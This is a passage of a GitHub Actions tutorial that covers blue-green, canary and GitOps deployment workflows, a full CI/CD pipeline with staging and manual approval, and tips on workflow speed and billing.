Blue-green works cleanly for stateless services. If your app relies on database schema changes, both environments must be compatible with the same database. Use backward-compatible migrations (expand-and-contract pattern) so the old environment still works if you roll back.
GitHub Actions Workflow: Blue-Green with AWS
name: Blue-Green Deploy
on:
push:
branches: [main]
env:
AWS_REGION: us-east-1
ECR_REPO: my-app
ECS_CLUSTER: production
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
steps:
- uses: actions/checkout@v4
- name: Configure AWS credentials
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: ${{ secrets.AWS_DEPLOY_ROLE_ARN }}
aws-region: ${{ env.AWS_REGION }}
- name: Build and push to ECR
id: build
run: |
IMAGE_TAG="${{ github.sha }}"
aws ecr get-login-password | docker login \
--username AWS --password-stdin \
"${{ secrets.AWS_ACCOUNT_ID }}.dkr.ecr.${{ env.AWS_REGION }}.amazonaws.com"
docker build -t $ECR_REPO:$IMAGE_TAG .
docker push \
"${{ secrets.AWS_ACCOUNT_ID }}.dkr.ecr.${{ env.AWS_REGION }}.amazonaws.com/$ECR_REPO:$IMAGE_TAG"
echo "image_tag=$IMAGE_TAG" >> "$GITHUB_OUTPUT"
- name: Determine inactive environment
id: env
run: |
ACTIVE=$(aws elbv2 describe-rules \
--listener-arn ${{ secrets.ALB_LISTENER_ARN }} \
--query "Rules[?Priority=='1'].Actions[0].TargetGroupArn" \
--output text)
if [[ "$ACTIVE" == *"blue"* ]]; then
echo "deploy_to=green" >> "$GITHUB_OUTPUT"
echo "inactive_tg=${{ secrets.GREEN_TG_ARN }}" >> "$GITHUB_OUTPUT"
else
echo "deploy_to=blue" >> "$GITHUB_OUTPUT"
echo "inactive_tg=${{ secrets.BLUE_TG_ARN }}" >> "$GITHUB_OUTPUT"
fi
- name: Deploy to inactive environment
run: |
aws ecs update-service \
--cluster $ECS_CLUSTER \
--service "my-app-${{ steps.env.outputs.deploy_to }}" \
--force-new-deployment \
--task-definition "my-app:${{ steps.build.outputs.image_tag }}"
aws ecs wait services-stable \
--cluster $ECS_CLUSTER \
--services "my-app-${{ steps.env.outputs.deploy_to }}"
- name: Run smoke tests against inactive environment
run: |
DEPLOY_ENV="${{ steps.env.outputs.deploy_to }}"
curl -sf "http://${DEPLOY_ENV}.internal.example.com/healthz"
curl -sf "http://${DEPLOY_ENV}.internal.example.com/api/v1/status"
echo "Smoke tests passed on ${DEPLOY_ENV}"
- name: Switch traffic to new environment
run: |
aws elbv2 modify-rule \
--rule-arn ${{ secrets.ALB_RULE_ARN }} \
--actions Type=forward,TargetGroupArn=${{ steps.env.outputs.inactive_tg }}
echo "Traffic switched to ${{ steps.env.outputs.deploy_to }}"
This workflow identifies which environment is currently idle, deploys there, validates with smoke tests, and only then switches the ALB rule to route traffic. If the smoke tests fail, the job stops and live traffic is never touched.
Canary Deployment
Canary deployment takes a more cautious approach: instead of switching 100% of traffic at once, you gradually shift a small percentage to the new version while monitoring key metrics. If error rates spike or latency degrades, you automatically roll back before most users are affected.
This pattern shines when your application serves diverse traffic patterns that are hard to replicate in smoke tests. A canary catches issues that only surface under real production load — memory leaks, slow database queries at scale, or edge cases in request payloads.
GitHub Actions Workflow: Canary with Kubernetes and Istio
name: Canary Deploy
on:
push:
branches: [main]
jobs:
canary:
runs-on: ubuntu-latest
environment: production
steps:
- uses: actions/checkout@v4
- name: Build and push image
id: build
run: |
IMAGE="ghcr.io/${{ github.repository }}:${{ github.sha }}"
docker build -t "$IMAGE" .
docker push "$IMAGE"
echo "image=$IMAGE" >> "$GITHUB_OUTPUT"
- name: Set up kubectl
uses: azure/setup-kubectl@v3
- name: Deploy canary at 5% traffic
run: |
kubectl set image deployment/my-app-canary \
app=${{ steps.build.outputs.image }} -n production
kubectl rollout status deployment/my-app-canary \
-n production --timeout=300s
# Istio VirtualService: shift 5% to canary
kubectl patch virtualservice my-app -n production \
--type merge -p '{
"spec":{"http":[{"route":[
{"destination":{"host":"my-app","subset":"stable"},"weight":95},
{"destination":{"host":"my-app","subset":"canary"},"weight":5}
]}]}}'
- name: Monitor canary for 5 minutes at 5%
run: |
for i in $(seq 1 5); do
sleep 60
ERROR_RATE=$(curl -s "http://prometheus:9090/api/v1/query" \
--data-urlencode \
'query=rate(http_requests_total{subset="canary",code=~"5.."}[1m]) / rate(http_requests_total{subset="canary"}[1m]) * 100' \
| jq -r '.data.result[0].value[1] // "0"')
echo "Minute $i - Error rate: ${ERROR_RATE}%"
if (( $(echo "$ERROR_RATE > 1.0" | bc -l) )); then
echo "::error::Error rate ${ERROR_RATE}% exceeds 1% threshold"
exit 1
fi
done
- name: Promote to 50% traffic
run: |
kubectl patch virtualservice my-app -n production \
--type merge -p '{
"spec":{"http":[{"route":[
{"destination":{"host":"my-app","subset":"stable"},"weight":50},
{"destination":{"host":"my-app","subset":"canary"},"weight":50}
]}]}}'
- name: Monitor canary for 5 minutes at 50%
run: |
for i in $(seq 1 5); do
sleep 60
ERROR_RATE=$(curl -s "http://prometheus:9090/api/v1/query" \
--data-urlencode \
'query=rate(http_requests_total{subset="canary",code=~"5.."}[1m]) / rate(http_requests_total{subset="canary"}[1m]) * 100' \
| jq -r '.data.result[0].value[1] // "0"')
echo "Minute $i - Error rate: ${ERROR_RATE}%"
if (( $(echo "$ERROR_RATE > 1.0" | bc -l) )); then
echo "::error::Error rate ${ERROR_RATE}% exceeds 1% threshold"
exit 1
fi
done
- name: Promote to 100% traffic
run: |
# Update the stable deployment with the new image
kubectl set image deployment/my-app \
app=${{ steps.build.outputs.image }} -n production
kubectl rollout status deployment/my-app \
-n production --timeout=300s
# Route all traffic back to stable
kubectl patch virtualservice my-app -n production \
--type merge -p '{
"spec":{"http":[{"route":[
{"destination":{"host":"my-app","subset":"stable"},"weight":100},
{"destination":{"host":"my-app","subset":"canary"},"weight":0}
]}]}}'
- name: Rollback on failure
if: failure()
run: |
echo "::warning::Rolling back canary deployment"
kubectl patch virtualservice my-app -n production \
--type merge -p '{
"spec":{"http":[{"route":[
{"destination":{"host":"my-app","subset":"stable"},"weight":100},
{"destination":{"host":"my-app","subset":"canary"},"weight":0}
]}]}}'
kubectl rollout undo deployment/my-app-canary -n production
The workflow follows a 5% → 50% → 100% promotion ladder. At each stage, it queries Prometheus for real error rates. If any monitoring window detects error rates above 1%, the job fails and the rollback step — triggered by if: failure() — immediately shifts all traffic back to the stable version.
Tools like Flagger automate the canary promotion loop on the cluster side with Istio, Linkerd, or Nginx. Your workflow simplifies to just build, push, and update the canary deployment — Flagger handles progressive traffic shifting and rollback based on metrics you define in a custom resource.
GitOps with ArgoCD or Flux
GitOps inverts the deployment model. Instead of your CI pipeline directly applying changes to a cluster, it pushes a manifest change to a Git repository. A cluster-side operator (ArgoCD or Flux) watches that repo and reconciles the cluster state to match. The Git repository becomes the single source of truth for what is deployed.
This separation of concerns is powerful: your CI pipeline handles build and test, while the GitOps operator handles deployment. It also gives you a complete audit trail — every deployment is a Git commit — and drift detection comes for free.
GitHub Actions Workflow: GitOps Manifest Update
name: GitOps - Build and Update Manifests
on:
push:
branches: [main]
jobs:
build:
runs-on: ubuntu-latest
outputs:
image_tag: ${{ steps.build.outputs.tag }}
steps:
- uses: actions/checkout@v4
- name: Build and push image
id: build
run: |
TAG="${{ github.sha }}"
IMAGE="ghcr.io/${{ github.repository }}:$TAG"
docker build -t "$IMAGE" .
docker push "$IMAGE"
echo "tag=$TAG" >> "$GITHUB_OUTPUT"
update-manifests:
needs: build
runs-on: ubuntu-latest
steps:
- name: Checkout GitOps repo
uses: actions/checkout@v4
with:
repository: my-org/k8s-manifests
token: ${{ secrets.GITOPS_PAT }}
ref: main
- name: Update image tag in Kustomization
run: |
cd apps/my-app/overlays/production
kustomize edit set image \
"my-app=ghcr.io/${{ github.repository }}:${{ needs.build.outputs.image_tag }}"
- name: Commit and push manifest change
run: |
git config user.name "github-actions[bot]"
git config user.email "github-actions[bot]@users.noreply.github.com"
git add -A
git commit -m "deploy: my-app ${{ needs.build.outputs.image_tag }}
Source-Commit: ${{ github.sha }}
Triggered-By: ${{ github.actor }}
Run: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}"
git push
The workflow is split into two jobs. The build job produces and pushes the container image, then passes the tag to update-manifests. That second job checks out a separate GitOps repository, updates the image reference using kustomize edit set image, and commits the change. ArgoCD or Flux — already watching that repo — detects the new commit and syncs the cluster automatically.
The default GITHUB_TOKEN is scoped to the current repository. To push to a separate GitOps manifests repo, you need a Personal Access Token (PAT) or a GitHub App installation token stored as a repository secret. Use fine-grained PATs with the minimum contents: write scope on just the target repo.
Choosing the Right Pattern
There is no universally "best" deployment strategy. Each pattern fits a different set of constraints around your infrastructure, team size, and risk tolerance. The table below captures the key tradeoffs.
| Factor | Blue-Green | Canary | GitOps |
|---|---|---|---|
| Rollback speed | Instant (traffic switch) | Fast (shift traffic to 0%) | Fast (revert Git commit) |
| Blast radius | 100% after switch | Controlled (5% → 50% → 100%) | Depends on sync strategy |
| Infrastructure cost | 2× environments | Baseline + canary pods | GitOps operator overhead only |
| Complexity | Low — straightforward swap | High — needs service mesh + metrics | Medium — separate repo + operator |
| Best for | Stateless services, strict SLAs | High-traffic APIs, ML models | Multi-cluster, team autonomy |
| Prerequisites | Load balancer, two target groups | Istio/Linkerd, Prometheus | ArgoCD/Flux, manifest repo |
You can also combine these patterns. A common production setup uses GitOps as the delivery mechanism (manifest commits trigger ArgoCD) while ArgoCD itself performs a canary rollout using Argo Rollouts. This gives you the audit trail and separation of GitOps with the safety net of progressive delivery.
Real-World Pipeline: Build, Test, Release, and Deploy
Most tutorials show GitHub Actions in isolation — a lint job here, a deploy step there. In production, you need all of these wired together into a single coordinated pipeline that gates each stage. This section walks through a complete, battle-tested CI/CD workflow for a web application, from code push to production deployment.
The pipeline has six stages: CI checks (lint, type-check, test, build), security scanning (CodeQL + dependency audit), Docker image build (push to GHCR), staging deployment, E2E tests against staging, and finally production deployment with manual approval.
Pipeline Architecture
Before diving into YAML, here's the full pipeline as a flowchart. Notice that CI and Security run in parallel — there's no reason to wait for one to gate the other. Everything downstream depends on both succeeding.
graph LR
A["Push to main"] --> B["CI Job"]
A --> C["Security Scan"]
B --> D["Build & Push Docker"]
C --> D
D --> E["Deploy to Staging"]
E --> F["E2E Tests"]
F --> G{"Manual Approval"}
G -->|Approved| H["Deploy to Production"]
G -->|Rejected| I["Pipeline Stops"]
style A fill:#4f46e5,color:#fff,stroke:none
style B fill:#2563eb,color:#fff,stroke:none
style C fill:#2563eb,color:#fff,stroke:none
style D fill:#7c3aed,color:#fff,stroke:none
style E fill:#059669,color:#fff,stroke:none
style F fill:#d97706,color:#fff,stroke:none
style G fill:#dc2626,color:#fff,stroke:none
style H fill:#059669,color:#fff,stroke:none
style I fill:#6b7280,color:#fff,stroke:none
The Complete Workflow
Below is the full workflow YAML, broken into annotated sections. Each job maps to a node in the flowchart above. You can copy the entire file into .github/workflows/ci-cd.yml in your repository.
Trigger and Permissions
The workflow triggers on pushes to main and on pull requests. We set minimal permissions at the top level and expand them per-job where needed — this follows the principle of least privilege.
name: CI/CD Pipeline
on:
push:
branches: [main]
pull_request:
branches: [main]
permissions:
contents: read
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
The concurrency block ensures that if you push two commits in quick succession, the first run is cancelled. Without this, you'd waste runner minutes on a deployment that's already outdated. The group key uses github.ref so PR branches and main have independent concurrency lanes.
Job 1 — CI (Lint, Type-Check, Test, Build)
This is the workhorse job. It checks out code, restores a dependency cache, runs linting and type-checking, executes unit tests with coverage, and builds the application. If any step fails, the entire pipeline stops.
jobs:
ci:
name: CI Checks
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: 20
cache: npm
- name: Install dependencies
run: npm ci
- name: Lint
run: npm run lint
- name: Type-check
run: npx tsc --noEmit
- name: Run unit tests with coverage
run: npm test -- --coverage --coverageReporters=text --coverageReporters=lcov
- name: Upload coverage artifact
uses: actions/upload-artifact@v4
with:
name: coverage-report
path: coverage/lcov.info
retention-days: 7
- name: Build application
run: npm run build
- name: Upload build artifact
uses: actions/upload-artifact@v4
with:
name: build-output
path: dist/
retention-days: 1
Notice that npm ci is used instead of npm install. The ci command installs from package-lock.json exactly, which is faster and deterministic. The actions/setup-node@v4 action handles caching the ~/.npm directory automatically when you set cache: npm.
Job 2 — Security Scanning
This job runs in parallel with CI. CodeQL performs static analysis for vulnerabilities in your source code, while npm audit checks your dependency tree for known CVEs. Separating security into its own job means a slow CodeQL scan doesn't block your test results.
security:
name: Security Scan
runs-on: ubuntu-latest
permissions:
security-events: write # Required by CodeQL to upload results
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Initialize CodeQL
uses: github/codeql-action/init@v3
with:
languages: javascript-typescript
- name: Run CodeQL analysis
uses: github/codeql-action/analyze@v3
- name: Dependency audit
run: npm audit --audit-level=high
Job 3 — Build Docker Image & Push to GHCR
Once CI and security both pass, this job builds a Docker image and pushes it to GitHub Container Registry (GHCR). It uses Docker Buildx for multi-platform builds and layer caching. The image is tagged with the Git SHA for traceability — you always know exactly which commit is running in any environment.
build-image:
name: Build & Push Docker Image
runs-on: ubuntu-latest
needs: [ci, security] # Waits for BOTH jobs
if: github.event_name == 'push' # Only on merge to main
permissions:
packages: write # Required to push to GHCR
outputs:
image-tag: ${{ steps.meta.outputs.tags }}
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Log in to GHCR
uses: docker/login-action@v3
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Extract metadata
id: meta
uses: docker/metadata-action@v5
with:
images: ghcr.io/${{ github.repository }}
tags: |
type=sha,prefix=
type=raw,value=latest
- name: Build and push image
uses: docker/build-push-action@v5
with:
context: .
push: true
tags: ${{ steps.meta.outputs.tags }}
cache-from: type=gha
cache-to: type=gha,mode=max
The cache-from and cache-to lines use GitHub Actions' built-in cache backend for Docker layers. On subsequent builds, only changed layers are rebuilt — cutting build times from minutes to seconds for typical code changes.
Job 4 — Deploy to Staging
Staging deployment happens automatically after the Docker image is pushed. This example deploys to a Kubernetes cluster, but the pattern works the same for AWS ECS, Azure Container Apps, or any other target — swap out the deployment command.
deploy-staging:
name: Deploy to Staging
runs-on: ubuntu-latest
needs: build-image
environment:
name: staging
url: https://staging.example.com
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Set up kubectl
uses: azure/setup-kubectl@v3
- name: Configure kubeconfig
run: |
mkdir -p $HOME/.kube
echo "${{ secrets.KUBE_CONFIG_STAGING }}" | base64 -d > $HOME/.kube/config
- name: Deploy to staging
run: |
kubectl set image deployment/web-app \
web-app=ghcr.io/${{ github.repository }}:${{ github.sha }} \
-n staging
kubectl rollout status deployment/web-app -n staging --timeout=300s
Job 5 — E2E Tests Against Staging
With the new version running in staging, end-to-end tests verify the application actually works as a user would experience it. Playwright runs a test suite against the live staging URL. If tests fail, the pipeline stops and production is never touched.
e2e-tests:
name: E2E Tests
runs-on: ubuntu-latest
needs: deploy-staging
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: 20
cache: npm
- name: Install dependencies
run: npm ci
- name: Install Playwright browsers
run: npx playwright install --with-deps chromium
- name: Run E2E tests
run: npx playwright test --project=chromium
env:
BASE_URL: https://staging.example.com
- name: Upload test report
if: always()
uses: actions/upload-artifact@v4
with:
name: playwright-report
path: playwright-report/
retention-days: 14
The if: always() on the artifact upload step is critical — it ensures you get the test report even when tests fail. Without it, a test failure skips the upload and you're left debugging blind.
Job 6 — Deploy to Production (Manual Approval)
Production deployment requires a human to click "Approve" in the GitHub Actions UI. This is configured through the environment key, which references a GitHub Environment with protection rules. You set up the required reviewers in your repository's Settings > Environments > production.
deploy-production:
name: Deploy to Production
runs-on: ubuntu-latest
needs: e2e-tests
environment:
name: production # Triggers manual approval gate
url: https://www.example.com
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Set up kubectl
uses: azure/setup-kubectl@v3
- name: Configure kubeconfig
run: |
mkdir -p $HOME/.kube
echo "${{ secrets.KUBE_CONFIG_PRODUCTION }}" | base64 -d > $HOME/.kube/config
- name: Deploy to production
run: |
kubectl set image deployment/web-app \
web-app=ghcr.io/${{ github.repository }}:${{ github.sha }} \
-n production
kubectl rollout status deployment/web-app -n production --timeout=300s
- name: Verify deployment health
run: |
for i in $(seq 1 10); do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" https://www.example.com/health)
if [ "$STATUS" = "200" ]; then
echo "Health check passed"
exit 0
fi
echo "Attempt $i: got $STATUS, retrying..."
sleep 5
done
echo "Health check failed after 10 attempts"
exit 1
The environment: production line only triggers the approval gate if you've configured protection rules in your repository settings. Without protection rules, the job runs immediately with no approval — the YAML alone does not enforce gating.
Key Design Decisions
Several choices in this pipeline are deliberate and worth understanding:
| Decision | Why | Alternative |
|---|---|---|
| CI and Security run in parallel | Neither depends on the other; parallel execution saves 3-5 minutes | Run sequentially if you want to fail-fast on the cheaper job |
Docker build uses type=gha cache | GitHub-native layer cache, no external registry needed | type=registry for sharing cache across forks |
| Image tagged with Git SHA | Immutable, traceable — you always know what's deployed | Semantic versioning if you publish public images |
| E2E tests run against live staging | Catches infra issues, env var misconfigs, network problems | Run against Docker Compose locally for faster feedback |
| Production uses manual approval | Human checkpoint after automated validation | Fully automated if your E2E suite has high confidence |
Adapting This Pipeline
This workflow assumes a Node.js web app deployed to Kubernetes, but the structure is universal. Here's what you'd swap out for different stacks:
- Python app: Replace
npm ciwithpip install,npm testwithpytest, andnpm run buildwith your build step (or remove it for interpreted languages). - AWS ECS: Replace the
kubectlsteps withaws ecs update-serviceand useaws-actions/configure-aws-credentials@v4for authentication. - Serverless (Vercel, Netlify): Remove the Docker and kubectl jobs entirely. Use the platform's deploy action directly after CI passes.
- Monorepo: Add path filters to the trigger (
paths: ['apps/web/**']) and use a matrix strategy to run CI per-package.
You don't need all six stages on day one. Start with just the CI job. Add Docker and staging once you have a deployment target. Add E2E tests once your app is stable enough to test against. Add production gating last. Each stage earns its place by catching a real class of bugs.
Performance Optimization: Faster Workflows
A workflow that takes 15 minutes today will take 25 minutes in six months as your codebase grows — unless you actively optimize. GitHub Actions bills by the minute, and slow feedback loops frustrate developers into ignoring CI results entirely. The techniques below target the biggest time sinks: dependency installation, sequential job execution, unnecessary Git history, and redundant work.
Aggressive Dependency Caching
Every workflow run that installs dependencies from scratch wastes minutes downloading and compiling packages. The actions/cache action stores directories between runs, keyed by a hash of your lockfile. When the lockfile hasn't changed, the cache restores in seconds instead of minutes.
- name: Cache node_modules
uses: actions/cache@v4
id: npm-cache
with:
path: ~/.npm
key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}
restore-keys: |
${{ runner.os }}-npm-
- name: Install dependencies
if: steps.npm-cache.outputs.cache-hit != 'true'
run: npm ci
The restore-keys fallback is critical. If no exact match is found, it restores the most recent cache that shares the prefix, giving you a partial hit rather than a complete miss. The if conditional on the install step skips npm ci entirely when the cache is fresh.
Monitoring Cache Hit Rates
A cache you set up and forget can silently degrade. Add a step that logs your cache status so you can track hit rates in your workflow logs or export them to a dashboard:
- name: Report cache status
run: |
if [ "${{ steps.npm-cache.outputs.cache-hit }}" == "true" ]; then
echo "::notice::Cache HIT — skipped install"
else
echo "::warning::Cache MISS — full install required"
fi
Caches are scoped to a branch. A feature branch can read caches from its base branch (e.g., main), but main cannot read caches created by feature branches. Design your cache keys around the default branch for maximum reuse. GitHub also enforces a 10 GB total cache limit per repository — least-recently-used entries are evicted first.
Parallelizing Jobs with Matrix Strategies
Running a full test suite in a single job is the most common bottleneck. Matrix strategies let you split work across multiple runners that execute simultaneously. The key insight is that parallelism is free in terms of wall-clock time — four 5-minute jobs finish faster than one 20-minute job.
jobs:
test:
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
shard: [1, 2, 3, 4]
steps:
- uses: actions/checkout@v4
- name: Run test shard
run: |
npx jest --shard=${{ matrix.shard }}/4
Setting fail-fast: false ensures all shards complete even if one fails — you get the full picture of what's broken rather than a partial result. Jest, Pytest, and most modern test runners support native sharding. For runners that don't, you can split test files manually using a glob pattern and split.
Beyond Test Splitting
Matrices aren't just for tests. You can parallelize linting, building for multiple platforms, or running different analysis tools simultaneously:
strategy:
matrix:
include:
- task: lint
command: npm run lint
- task: typecheck
command: npx tsc --noEmit
- task: unit-tests
command: npm test
- task: build
command: npm run build
Larger Runners for Compute-Heavy Tasks
Standard GitHub-hosted runners provide 4 vCPUs and 16 GB RAM. For Docker image builds, large compilation jobs, or memory-hungry integration tests, this is a bottleneck. GitHub offers larger runners with up to 64 vCPUs and 256 GB RAM on Team and Enterprise plans.
| Runner Size | vCPUs | RAM | Best For |
|---|---|---|---|
ubuntu-latest | 4 | 16 GB | Standard CI tasks, unit tests |
ubuntu-latest-4-cores | 4 | 16 GB | Parallel builds, medium test suites |
ubuntu-latest-8-cores | 8 | 32 GB | Docker builds, large compilations |
ubuntu-latest-16-cores | 16 | 64 GB | Monorepo builds, heavy integration tests |
The trade-off is cost: larger runners charge a higher per-minute rate. The strategy that pays off is using larger runners only for the jobs that benefit from them, while keeping lighter jobs on standard runners. A Docker build that takes 12 minutes on 2 vCPUs might finish in 4 minutes on 8 vCPUs — the per-minute cost is higher, but the total bill is lower.
Minimizing Checkout Depth
By default, actions/checkout performs a shallow clone with fetch-depth: 1, pulling only the latest commit. This is already the fastest option for most workflows. However, some tools need more history, and that's where developers accidentally regress performance.
# Fast — only gets the tip commit (~2-5s)
- uses: actions/checkout@v4
# fetch-depth: 1 is the default
Use this for builds, tests, deployments — anything that doesn't inspect Git history.
# Slow — downloads entire history (30s+ for large repos)
- uses: actions/checkout@v4
with:
fetch-depth: 0
Only needed for changelog generation, semantic versioning from tags, or tools like git-cliff that walk commit history.
A middle ground exists: set fetch-depth: 50 or fetch-depth: 100 to get enough history for diff-based operations without cloning the entire repository. For monorepos with years of history, this can shave 30+ seconds off each run.
Conditional Job Skipping
Not every push needs every job. Docs-only changes don't need test runs. README edits don't need Docker builds. Use path filters and conditional expressions to skip irrelevant work entirely.
on:
push:
paths:
- 'src/**'
- 'tests/**'
- 'package.json'
paths-ignore:
- '**.md'
- 'docs/**'
jobs:
test:
runs-on: ubuntu-latest
# Skip if commit message contains [skip ci]
if: >-
!contains(github.event.head_commit.message, '[skip ci]')
steps:
- uses: actions/checkout@v4
- run: npm test
Path filters work at the workflow trigger level — the entire workflow is skipped if no files match. The if conditional on the job level offers finer control: you can skip specific jobs while letting others proceed. Combine both for maximum savings.
For monorepos, use dorny/paths-filter to detect which packages changed and dynamically set job matrices. This avoids rebuilding 20 packages when only one was modified.
Composite Actions to Reduce Overhead
When multiple workflows share the same setup steps — checkout, install, cache, configure — each one independently resolves and downloads those actions. A composite action bundles these repeated steps into a single reusable unit, reducing action resolution overhead and keeping your workflows DRY.
# .github/actions/setup-node-project/action.yml
name: 'Setup Node Project'
description: 'Checkout, cache, and install dependencies'
inputs:
node-version:
description: 'Node.js version'
default: '20'
runs:
using: 'composite'
steps:
- uses: actions/checkout@v4
shell: bash
- uses: actions/setup-node@v4
with:
node-version: ${{ inputs.node-version }}
cache: 'npm'
- run: npm ci
shell: bash
Now every workflow that needs a Node.js environment calls a single step instead of repeating three:
steps:
- uses: ./.github/actions/setup-node-project
with:
node-version: '20'
- run: npm test
Leveraging Pre-installed Tools on GitHub Runners
GitHub-hosted runners come with a rich set of pre-installed software: Node.js, Python, Java, Docker, Docker Compose, jq, curl, and many others. Every setup-* action you add costs 5–15 seconds to resolve and install. If the pre-installed version meets your requirements, skip the setup action entirely.
# Slow: downloads and installs Python even if 3.12 is pre-installed
- uses: actions/setup-python@v5
with:
python-version: '3.12'
# Fast: uses whatever Python is on the runner
- run: python --version && pip install -r requirements.txt
Check the actions/runner-images repository for the exact software list on each runner image. The ubuntu-latest image, for example, includes Go, .NET, Rust toolchains, Terraform, Kubectl, Helm, and dozens of CLI tools that you may be redundantly installing.
Relying on pre-installed versions means your builds depend on GitHub's runner image updates. If you need a specific version for reproducibility, use setup-* actions and accept the time cost. The speed gain isn't worth a surprise breakage from a runner image update.
Putting It All Together
No single technique will halve your build time. The real speedup comes from combining several optimizations. Here's a summary of typical time savings to help you prioritize:
| Technique | Typical Savings | Effort |
|---|---|---|
| Dependency caching | 1–3 minutes per run | Low |
| Matrix parallelism (4 shards) | 60–75% wall-clock reduction | Low |
| Shallow checkout (depth: 1) | 10–60 seconds per run | Trivial |
| Conditional path filtering | Entire run skipped when irrelevant | Low |
| Larger runners | 50–70% for CPU-bound tasks | Medium (cost review) |
| Composite actions | 5–15 seconds per consolidated step | Medium |
| Skip redundant setup actions | 5–15 seconds per action | Trivial |
Start with caching and path filters — they're low-effort, high-impact. Then add matrix parallelism for your slowest jobs. Only reach for larger runners when profiling shows a genuine CPU or memory bottleneck. Measure before and after each change using the workflow run timing data in the Actions tab.
Cost Management: Understanding and Controlling Spend
GitHub Actions is powerful, but every minute of compute time has a price tag. Without understanding the billing model, costs can escalate quickly — especially on macOS runners or with artifact-heavy workflows. This section breaks down how billing works, what you get for free, and concrete strategies to keep your spend under control.
How Minutes Are Counted
Every job in a workflow consumes billable minutes. The clock starts when the runner begins executing your job and stops when the job completes — including setup time, checkout, and any post-run cleanup steps. Each job is rounded up to the nearest minute, so a job that takes 1 minute and 5 seconds costs you 2 minutes.
Jobs running in parallel each consume their own minutes independently. A workflow with three parallel jobs that each take 4 minutes costs you 12 minutes total, not 4.
The OS Multiplier
Not all minutes are equal. GitHub applies a per-minute multiplier based on the runner's operating system. A single "raw" minute on macOS costs you 10 times what a Linux minute costs. This is the single biggest factor most teams overlook in their billing.
| Runner OS | Minute Multiplier | Effective Cost per Minute (example) |
|---|---|---|
ubuntu-latest | 1× | $0.008 |
windows-latest | 2× | $0.016 |
macos-latest | 10× | $0.080 |
The "effective cost" column above uses the Team plan rate as an example. The multiplier itself is the key concept: a 10-minute macOS job eats 100 minutes from your included quota, while the same job on Linux eats only 10.
A team running 20 macOS CI builds per day at 8 minutes each would consume 32,000 included minutes per month (20 × 8 × 10× × 20 work days). That's well past even the Enterprise plan's free allotment. Run macOS jobs only when you genuinely need to test on Apple hardware.
Larger Runners
GitHub-hosted larger runners (4-core, 8-core, 16-core, and above) provide more CPU and RAM but are billed at higher per-minute rates. These runners do not use the minute multiplier system — instead, they have a flat per-minute rate based on the runner size. For example, a Linux 4-core runner costs $0.016/min and a Linux 16-core runner costs $0.064/min.
Larger runners make sense when your jobs are CPU-bound (compilation, test suites that run in parallel). A job that takes 20 minutes on a 2-core runner but only 6 minutes on an 8-core runner may actually be cheaper on the bigger machine — and your developers get faster feedback.
Storage Costs: Artifacts and Caches
Billing isn't only about compute. GitHub Actions also charges for storage used by artifacts and caches. Each plan includes a storage quota (e.g., 500 MB on Free, 2 GB on Team). Storage beyond the included amount is billed at $0.25 per GB per month.
Artifacts and caches both count against this limit, but they behave differently:
- Artifacts persist after a workflow finishes. The default retention is 90 days (configurable down to 1 day).
- Caches are evicted automatically if not accessed for 7 days, and have a per-repository cap of 10 GB.
Free Tier and Plan Allotments
Every GitHub plan comes with a monthly allotment of included minutes and storage. Once you exceed the included minutes, overage is billed per minute at the rates tied to each OS multiplier.
| Plan | Included Minutes/Month | Included Storage |
|---|---|---|
| Free | 2,000 | 500 MB |
| Team | 3,000 | 2 GB |
| Enterprise | 50,000 | 50 GB |
Workflows running on public repositories consume zero billable minutes on standard GitHub-hosted runners. The free tier and per-minute billing apply only to private and internal repositories.
Spending Limits and Usage Reports
By default, GitHub sets a spending limit of $0 for Actions on your account or organization. This means once your included minutes are exhausted, workflows simply stop running — no surprise bills. You can raise or remove this limit under Settings → Billing → Spending limits.
To monitor usage, navigate to Settings → Billing → Usage this month. You'll see a breakdown of minutes consumed per repository and per OS. For organizations, admins can also download a detailed CSV usage report that lists every workflow run, its duration, and the multiplied minutes consumed. Review this report monthly to spot cost spikes early.
Strategies to Reduce Costs
You don't need to sacrifice CI quality to cut costs. Most savings come from eliminating unnecessary work — runs that didn't need to happen or jobs that could have been faster.
1. Tighten Workflow Triggers
The most effective cost reduction is not running workflows at all when they aren't needed. Use paths and paths-ignore filters so that documentation changes don't trigger your full test suite, and branches filters to avoid running on irrelevant branches.
on:
push:
branches: [main, release/*]
paths-ignore:
- 'docs/**'
- '*.md'
- '.gitignore'
pull_request:
paths:
- 'src/**'
- 'tests/**'
- 'package.json'
With paths filters, a PR that only updates README.md won't trigger a single billable minute. On an active repository with frequent documentation updates, this alone can save hundreds of minutes per month.
2. Cancel Redundant Runs with Concurrency
When a developer pushes multiple commits in quick succession, each push triggers a separate workflow run. Use the concurrency key to automatically cancel in-progress runs that are superseded by a newer commit.
concurrency:
group: ci-${{ github.ref }}
cancel-in-progress: true
3. Cache Dependencies Aggressively
Downloading and installing dependencies from scratch on every run wastes both time and minutes. Use actions/cache or the built-in caching in setup actions (like actions/setup-node) to persist node_modules, pip packages, Maven local repos, and other dependency directories between runs.
- uses: actions/setup-node@v4
with:
node-version: 20
cache: 'npm'
# Or use actions/cache directly for custom paths
- uses: actions/cache@v4
with:
path: ~/.gradle/caches
key: gradle-${{ runner.os }}-${{ hashFiles('**/*.gradle*') }}
restore-keys: gradle-${{ runner.os }}-
A warm cache can cut 2–5 minutes off a typical Node.js or Java build. Across hundreds of runs per month, that's a significant saving.
4. Choose the Right Runner for Each Job
Don't run everything on macOS "just in case." Structure your workflow so that linting, unit tests, and most build steps happen on Linux. Reserve macOS and Windows runners exclusively for platform-specific tests.
jobs:
